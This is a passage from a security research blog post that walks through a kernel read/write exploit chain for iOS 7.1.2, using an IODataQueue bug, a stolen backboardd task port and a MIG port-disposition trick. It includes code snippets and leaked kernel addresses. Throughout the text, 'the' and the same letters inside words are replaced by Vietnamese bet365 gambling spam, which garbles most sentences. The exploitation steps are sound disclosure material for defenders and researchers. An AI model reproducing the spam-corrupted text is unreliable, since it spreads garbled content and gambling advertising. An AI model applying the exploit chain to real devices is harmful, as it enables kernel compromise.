The sandbox only prevents us from actually opening cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userclient connection. We can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n transfer cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach port representing this connection back to our sandboxed app and continue cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re. Using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code I wrote for triple_fetch we can easily use backboardd's task port which we stole (using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userspace IODataQueue bug) to open an IOKit userclient connection and move it back:

uint32_t remote_matching =
 task_remote_call(bbd_task_port,
                  IOServiceMatching,
                  1,
                  REMOTE_CSTRING("IOHIDEventService"));
 
uint32_t remote_service =
 task_remote_call(bbd_task_port,
                  IOServiceGetMatchingService,
                  2,
                  REMOTE_LITERAL(0),
                  REMOTE_LITERAL(remote_matching));
 
uint32_t remote_conn = 0;
uint32_t remote_err =
 task_remote_call(bbd_task_port,
                  IOServiceOpen,
                  4,
                  REMOTE_LITERAL(remote_service),
                  REMOTE_LITERAL(0x1307), // remote mach_task_self()
                  REMOTE_LITERAL(0),
                  REMOTE_OUT_BUFFER(&remote_conn,
                                    sizeof(remote_conn)));
 
mach_port_t conn =
 pull_remote_port(bbd_task_port,
                  remote_conn,
                  MACH_MSG_TYPE_COPY_SEND);

We cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n just need to call external method 0 to "open" cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue and IOConnectMapMemory to map cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue shared memory into our process and find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach message header:

vm_address_t qaddr = 0;
vm_size_t qsize = 0;

IOConnectMapMemory(conn,
                  0,
                  mach_task_self(),
                  &qaddr,
                  &qsize,
                  1);

mach_msg_header_t* shm_msg =
 (mach_msg_header_t*)(qaddr + qsize - 0x18);

In order to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue's notification port we need to call IOConnectSetNotificationPort on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userclient:

mach_port_t notification_port = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(),
                  MACH_PORT_RIGHT_RECEIVE,
                  ¬ification_port);

uint64_t ref[8] = {0};
IOConnectSetNotificationPort(conn,
                            0,
                            notification_port,
                            ref);

We can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel address of that port's ipc_port in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shared memory message:

+0x00001010 00000013  // msgh_bits
+0x00001014 00000018  // msgh_size
+0x00001018 99a3e310  // msgh_remote_port
+0x0000101c 00000000  // msgh_local_port
+0x00001020 00000000  // msgh_reserved
+0x00001024 00000000  // msgh_id


We now need to determine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap address of an early kernel port. If we just call IOConnectSetNotificationPort with a send right to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host_self port, we get an error:

IOConnectSetNotificationPort error: 1000000a (ipc/send) invalid port right

This error is actually from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MIG client code telling us that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MIG serialized message failed to send. IOConnectSetNotificationPort is a thin wrapper around cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MIG generated io_conenct_set_notification_port client code. Let's take a look in device.defs which is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source file used by MIG to generate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC stubs for IOKit:

routine io_connect_set_notification_port(
   connection        : io_connect_t;
in notification_type : uint32_t;
in port              : mach_port_make_send_t;
in reference         : uint32_t);

Here we can see that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port argument is defined as a mach_port_make_send_t which means that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MIG code will send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port argument in a port descriptor with a disposition of MACH_MSG_TYPE_MAKE_SEND, which requires cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sender to hold a receive right. But in mach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no way for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 receiver to determine whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sender held a receive right for a send right which you received or instead sent you a copy via MACH_MSG_TYPE_COPY_SEND. This means that all we need to do is modify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MIG client code to use a COPY_SEND disposition and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we can set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 queue's notification port to any send right we can acquire, irrespective of whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r we hold a receive right.

Doing this and passing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name we get from mach_host_self() we can learn cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host port's kernel address:

host port: 0x8e30cee0

Leaking a couple of early ports which are likely to come from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same memory page and finding cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 greatest common factor gives us a good guess for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of an ipc_port_t in this version of iOS:

master port: 0x8e30c690
host port: 0x8e30cee0
GCF(0x690, 0xee0) = 0x70

Looking at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XNU source we can see that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host port is allocated before cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port, and since this was before cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 zone allocator freelist randomisation mitigation was introduced this means that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port will be somewhere below cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host port.

By setting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 msgh_local_port field to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host port - 0x70, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n decrementing it by 0x70 each time we receive a notification message we will be sent a different early port each time a notification message is sent. Doing this we learn that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port is allocated 5 ports after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host port, meaning that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port is host_port_kaddr - (5*0x70).

Putting it all togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r
You can get my exploit for iOS 7.1.2 here, I've only tested it on an iPhone 4. You'll need to use an old version of XCode to build and run it; I'm using XCode 7.3.1.

Launch cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 app, press cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 home button to trigger an HID notification message and enjoy read/write access to kernel memory. :)

In 2014 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it seems that with enough OS internals knowledge and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 right set of bugs it was pretty easy to build a logic bug chain to get kernel memory read write. Things have certainly changed since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n, but I'd be interested to compare this post with anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r one in 2022 looking back to 2018.

Lessons
Variant analysis is really important, but attackers are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only parties incentivized to do a good job of it. Why did cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userspace variant of this IODataQueue issue persist for four more years after almost cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exact same bug was fixed in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel code?

Let's also not underplay cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 impact that just cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userspace version of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug alone could have had. Prior to mach_portal, due to a design quirk of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 com.apple.iohideventsystem MIG service backboardd had send rights to a large number of ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r process's task ports, meaning that a compromise of backboardd was also a compromise of those tasks.

Some of those tasks ran as root meaning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y could have exploited cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 processor_set_tasks vulnerability to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 task ports for any task on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device, which despite being a known issue also wasn't fixed until I exploited it in triple_fetch.

This IODataQueue issue wasn't cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only variant I found as part of this project; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 deja-xnu project for iOS 11.4.1 also contains PoC code to trigger a MIG code generation bug in clients of backboardd, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 project zero tracker has details of furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r issues.

A final note on security bulletins
You'll notice that none of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issues I've linked above are mentioned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iOS 12 security bulletin, despite being fixed in that release. Apple are still yet to assign CVEs for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se issues or publicly acknowledge that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y were fixed in iOS 12. In my opinion a security bulletin should mention cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security bugs that were fixed. Not doing so provides a disincentive for people to update cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir devices since it appears that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re were fewer security fixes than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re really were.

No comments:

Post a Comment